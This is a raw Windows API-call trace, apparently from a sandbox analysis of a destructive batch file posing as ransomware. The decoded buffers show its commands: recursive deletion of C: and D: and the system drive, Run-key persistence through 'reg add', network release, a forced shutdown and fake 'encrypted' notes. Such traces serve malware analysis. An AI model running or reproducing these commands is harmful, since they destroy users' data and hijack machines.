lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.586] SetFilePointer (in: hFile=0x74, lDistanceToMove=9054, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x235e [0039.586] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops36.txt\r\n") returned 59 [0039.586] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.586] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x235e [0039.587] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.587] GetFileType (hFile=0x74) returned 0x1 [0039.587] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x235e [0039.587] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.587] SetFilePointer (in: hFile=0x74, lDistanceToMove=9113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2399 [0039.587] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops17.txt\r\n") returned 59 [0039.587] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.587] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2399 [0039.587] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.587] GetFileType (hFile=0x74) returned 0x1 [0039.587] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2399 [0039.587] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.587] SetFilePointer (in: hFile=0x74, lDistanceToMove=9172, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x23d4 [0039.587] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops38.txt\r\n") returned 59 [0039.587] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.587] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x23d4 [0039.587] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.587] GetFileType (hFile=0x74) returned 0x1 [0039.588] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x23d4 [0039.588] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.588] SetFilePointer (in: hFile=0x74, lDistanceToMove=9231, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x240f [0039.588] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops39.txt\r\n") returned 59 [0039.588] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.588] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x240f [0039.588] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.588] GetFileType (hFile=0x74) returned 0x1 [0039.588] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x240f [0039.588] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.588] SetFilePointer (in: hFile=0x74, lDistanceToMove=9290, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x244a [0039.588] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops40.txt\r\n") returned 59 [0039.588] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.588] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x244a [0039.588] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.588] GetFileType (hFile=0x74) returned 0x1 [0039.588] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x244a [0039.589] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x1e3, lpOverlapped=0x0) returned 1 [0039.589] SetFilePointer (in: hFile=0x74, lDistanceToMove=9302, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2456 [0039.589] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=12, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="rd/s/q C:\\\r\nour file have been encrypted file >Oops40.txt\r\n") returned 12 [0039.589] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.589] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2456 [0039.589] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.589] GetFileType (hFile=0x74) returned 0x1 [0039.589] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2456 [0039.589] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x1d7, lpOverlapped=0x0) returned 1 [0039.589] SetFilePointer (in: hFile=0x74, lDistanceToMove=9314, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2462 [0039.589] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=12, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="rd/s/q D:\\\r\n") returned 12 [0039.589] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.589] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2462 [0039.589] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.589] GetFileType (hFile=0x74) returned 0x1 [0039.589] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2462 [0039.589] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x1cb, lpOverlapped=0x0) returned 1 [0039.589] SetFilePointer (in: hFile=0x74, lDistanceToMove=9350, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2486 [0039.590] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=36, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo @echo off>c:windowswimn32.bat\r\npted file >Oops40.txt\r\n") returned 36 [0039.590] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.590] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2486 [0039.590] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.590] GetFileType (hFile=0x74) returned 0x1 [0039.590] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2486 [0039.590] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x1a7, lpOverlapped=0x0) returned 1 [0039.590] SetFilePointer (in: hFile=0x74, lDistanceToMove=9387, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x24ab [0039.590] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=37, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo break off>>c:windowswimn32.bat\r\nted file >Oops40.txt\r\n") returned 37 [0039.590] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.590] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24ab [0039.590] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.590] GetFileType (hFile=0x74) returned 0x1 [0039.590] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24ab [0039.590] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x182, lpOverlapped=0x0) returned 1 [0039.590] SetFilePointer (in: hFile=0x74, lDistanceToMove=9435, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x24db [0039.590] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=48, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ipconfig/release_all>>c:windowswimn32.bat\r\nops40.txt\r\n") returned 48 [0039.591] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.591] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24db [0039.591] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.591] GetFileType (hFile=0x74) returned 0x1 [0039.591] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24db [0039.591] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x152, lpOverlapped=0x0) returned 1 [0039.591] SetFilePointer (in: hFile=0x74, lDistanceToMove=9466, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x24fa [0039.591] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=31, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo end>>c:windowswimn32.bat\r\nndowswimn32.bat\r\n") returned 31 [0039.591] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.591] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24fa [0039.591] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.591] GetFileType (hFile=0x74) returned 0x1 [0039.591] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24fa [0039.591] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x133, lpOverlapped=0x0) returned 1 [0039.591] SetFilePointer (in: hFile=0x74, lDistanceToMove=9586, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2572 [0039.591] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=120, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f\r\n") returned 120 [0039.591] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.591] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2572 [0039.592] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.592] GetFileType (hFile=0x74) returned 0x1 [0039.592] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2572 [0039.592] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0xbb, lpOverlapped=0x0) returned 1 [0039.592] SetFilePointer (in: hFile=0x74, lDistanceToMove=9706, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x25ea [0039.592] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=120, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f\r\n") returned 120 [0039.592] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.592] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x25ea [0039.592] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.592] GetFileType (hFile=0x74) returned 0x1 [0039.592] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x25ea [0039.592] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x43, lpOverlapped=0x0) returned 1 [0039.592] SetFilePointer (in: hFile=0x74, lDistanceToMove=9738, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x260a [0039.592] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=32, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="del %systemdrive%\\*.* /f /s /q\r\nemicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f\r\n") returned 32 [0039.592] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.592] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x260a [0039.592] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.592] GetFileType (hFile=0x74) returned 0x1 [0039.593] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x260a [0039.593] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x23, lpOverlapped=0x0) returned 1 [0039.593] SetFilePointer (in: hFile=0x74, lDistanceToMove=9745, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2611 [0039.593] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="pause\r\nstemdrive%\\*.* /f /s /q\r\n") returned 7 [0039.593] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.593] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2611 [0039.593] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.593] GetFileType (hFile=0x74) returned 0x1 [0039.593] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2611 [0039.593] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x1c, lpOverlapped=0x0) returned 1 [0039.593] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="shutdown /s /t 20 /c Ooops\r\n/q\r\n") returned 28 [0039.593] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.593] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x262d [0039.593] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.593] GetFileType (hFile=0x74) returned 0x1 [0039.593] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x262d [0039.593] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x0, lpOverlapped=0x0) returned 1 [0039.594] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.594] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.594] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.594] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.594] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.594] GetFileType (hFile=0x74) returned 0x1 [0039.594] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.594] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.594] SetFilePointer (in: hFile=0x74, lDistanceToMove=8, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8 [0039.594] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=8, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="@shift\r\n /s /t 20 /c Ooops\r\n") returned 8 [0039.594] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.594] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8 [0039.594] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.594] GetFileType (hFile=0x74) returned 0x1 [0039.594] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8 [0039.594] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.594] SetFilePointer (in: hFile=0x74, lDistanceToMove=19, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13 [0039.594] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="@echo off\r\n /t 20 /c Ooops\r\n") returned 11 [0039.594] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.595] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13 [0039.595] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.595] GetFileType (hFile=0x74) returned 0x1 [0039.595] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13 [0039.595] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.595] SetFilePointer (in: hFile=0x74, lDistanceToMove=35, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x23 [0039.595] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=16, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="title RSA-2048\r\n0 /c Ooops\r\n") returned 16 [0039.595] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.595] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x23 [0039.595] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.595] GetFileType (hFile=0x74) returned 0x1 [0039.595] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x23 [0039.595] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.595] SetFilePointer (in: hFile=0x74, lDistanceToMove=45, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2d [0039.595] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=10, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cd Links\r\n2048\r\n") returned 10 [0039.595] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.595] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d [0039.595] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.596] GetFileType (hFile=0x74) returned 0x1 [0039.596] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d [0039.596] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.596] SetFilePointer (in: hFile=0x74, lDistanceToMove=52, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34 [0039.596] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":Lock\r\ns\r\n") returned 7 [0039.596] _close (_FileHandle=3) returned 0 [0039.596] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.596] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.597] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.597] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.597] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.597] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.597] SetConsoleInputExeNameW () returned 0x1 [0039.597] GetConsoleOutputCP () returned 0x1b5 [0039.598] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.598] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.598] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.598] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.598] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.598] SetFilePointer (in: hFile=0x74, lDistanceToMove=52, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34 [0039.598] GetProcessHeap () returned 0x4e0000 [0039.598] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0039.598] GetProcessHeap () returned 0x4e0000 [0039.598] HeapFree (in: 